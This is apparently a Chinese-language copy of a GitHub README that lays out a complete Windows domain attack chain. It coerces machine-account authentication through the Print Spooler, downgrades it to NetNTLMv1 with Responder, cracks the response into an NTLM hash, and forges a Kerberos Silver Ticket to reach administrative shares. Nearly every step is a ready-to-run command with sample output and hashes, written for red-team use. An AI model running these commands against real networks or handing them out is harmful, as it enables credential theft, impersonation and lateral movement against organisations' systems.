NotMedic/NetNTLMtoSilverTicket

GitHub: NotMedic/NetNTLMtoSilverTicket

演示如何利用打印机服务漏洞和 NTLMv1 降级攻击,将捕获的 NetNTLMv1 响应破解为 NTLM 哈希并伪造 Kerberos Silver Ticket 的完整攻击链

Stars: 928 | Forks: 119

# SpoolSample -> NetNTLMv1 -> NTLM -> Silver Ticket 这项技术已被其他人提及,但我还没见过完整连贯的资料。下面我们将介绍获取 NetNTLMv1 Challenge/Response 认证、将其破解为 NTLM 哈希,以及使用该 NTLM 哈希签署 Kerberos Silver ticket 的步骤。 这适用于“LAN Manager authentication level”设置为 2 或更低的网络。这在较旧、较大型的 Windows 部署环境中相当常见。它在 Windows 10 / Server 2016 或更新版本上应该无法使用。 ## 主要有 3 个步骤 通过 @tifkin_ (Lee Christensen) 的 SpoolSample 获取机器账户的 NetNTLMv1 Response 使用 @0x31337 (David Hulton) 的 Rainbow Tables 将该 NetNTLMv1 Response 破解为 NTLM 哈希 使用 @agsolino (Albert Solino) 的 ticketer.py,利用新获得的 NTLM 哈希生成 Silver Ticket ## 获取 NetNTLMv1 Response ### 识别潜在易受攻击的机器 使用 Powershell 获取 Windows 机器列表。服务器通常是优先目标,所以让我们重点关注那里: ``` Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt ``` 使用经过稍微修改的 @mysmartlogin (Vincent Le Toux) 的 SpoolerScanner,查看 Spooler Service 是否在监听 ``` . .\Get-SpoolStatus.ps1 ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server} ``` 你也可以在 Linux 上使用 rpcdump.py 并查找 MS-RPRN Protocol ``` rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN ``` ### 启动带有 --lm 标志的 Responder 以强制进行 LM 降级 ``` ./Responder.py -I eth0 --lm ``` ### 触发认证 ``` SpoolSample.exe TARGET RESPONDERIP ``` 或者,如果你在 Linux 上,可以使用 3xocyte 的 dementor.py ``` python dementor.py -d domain -u username -p password RESPONDERIP TARGET ``` 示例响应: ``` [SMB] NTLMv1 Client   : 10.0.0.2 [SMB] NTLMv1 Username : DOMAIN\SERVER$ [SMB] NTLMv1 Hash     : SERVER$::DOMAIN:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788 ``` ## 将 NetNTLMv1 响应破解回 NTLM 哈希 你可以使用一组 Rainbow Tables 将 NTHASH 还原为 NTLM,或者将其还原为 DES 组成部分并使用 hashcat 进行破解。 一台 8x 1080 的设备大约可以在 6 天内暴力破解,所以请考虑使用 Rainbow Tables。 ### Rainbow Tables 1. 对于 Rainbow Tables,有一个托管在 [https://crack.sh/netntlm/](https://crack.sh/netntlm/) 的服务,可以免费从 NetNTLMv1 恢复 NTLM。这是由 Toorcon 的 David Hulton 提供的。我们正在致力于制作彩虹表的本地副本以及不需要 FPGA 进行查找的软件。 2. 对于 crack.sh,格式为 NTHASH:(response),例如示例中的 NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972。 ### 或者使用 hashcat 破解 1. @evil_mog 的 [ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) 工具可以在下方破解它们 ``` python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788 ``` 这将返回带有说明的以下输出: ``` ['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788'] Hostname: DUSTIN-5AA37877 Username: hashcat Challenge: 1122334455667788 LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595 CT1: 727B4E35F947129E CT2: A52B9CDEDAE86934 CT3: BB23EF89F50FC595 To Calculate final 4 characters of NTLM hash use: ./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788 To crack with hashcat create a file with the following contents: 727B4E35F947129E:1122334455667788 A52B9CDEDAE86934:1122334455667788 To crack with hashcat: ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 To Crack with crack.sh use the following token NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595 ``` ## 创建 Kerberos Silver Ticket 你需要为此查找一些信息:你想要访问的服务的 SPN、域 SID、具有本地管理员权限的域用户账户 SID 和账户名,以及如果该用户是基于组的本地管理员,则还需要其所属的域组。 对于服务,最常见的是 cifs/,因为它映射回 HOST/ 服务 ### 使用 Impacket 的 ticketer.py 生成 Silver Ticket ``` ./ticketer.py -nthash 09e55a127f3d4e4957c77de30000502a -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMAIN.COM -spn cifs/SERVER.DOMAIN.COM -user-id 123456 -groups 4321 username ``` ### 将生成的 ccache 文件设置为相应的环境变量 ``` export KRB5CCNAME=/root/Assessments/NTLMTest/USERNAME.ccache ``` ### 使用 smbclient、wmiexec、psexec 或任何其他 impacket 工具 ``` smbclient -k //SERVER.DOMAIN.COM/c$ -d ``` ## 待完成的工作 * 分发 6TB 的 Rainbow Tables * 征得 @0x31337 许可后通过 Torrent 发布? * DEF CON 数据复制村 (Data Duplication Village)? * 修改 @0x31337 的 [desrtop](https://github.com/h1kari/desrtop) 以使其不需要 FPGA * 虽然超出我的个人专长范围,但我仍在努力研究 * 识别更多远程触发机器账户认证的方法 * xp_dirtree 是另一种途径 * 有人愿意分享他们可能发现的其他方法吗?
标签:AI合规, Conpot, CTF学习, HTTP, Kerberos攻击, Libemu, Libemu, Modbus, NetNTLMv1, Penetration Testing, PE 加载器, Prisma Cloud, Responder, Silver Ticket, SpoolSample, Windows安全, 中间人攻击, 内网渗透, 协议分析, 协议降级, 域渗透, 打印机漏洞, 数据展示, 权限提升, 横向移动, 电子数据取证, 红队, 编程规范, 逆向工具, 银票据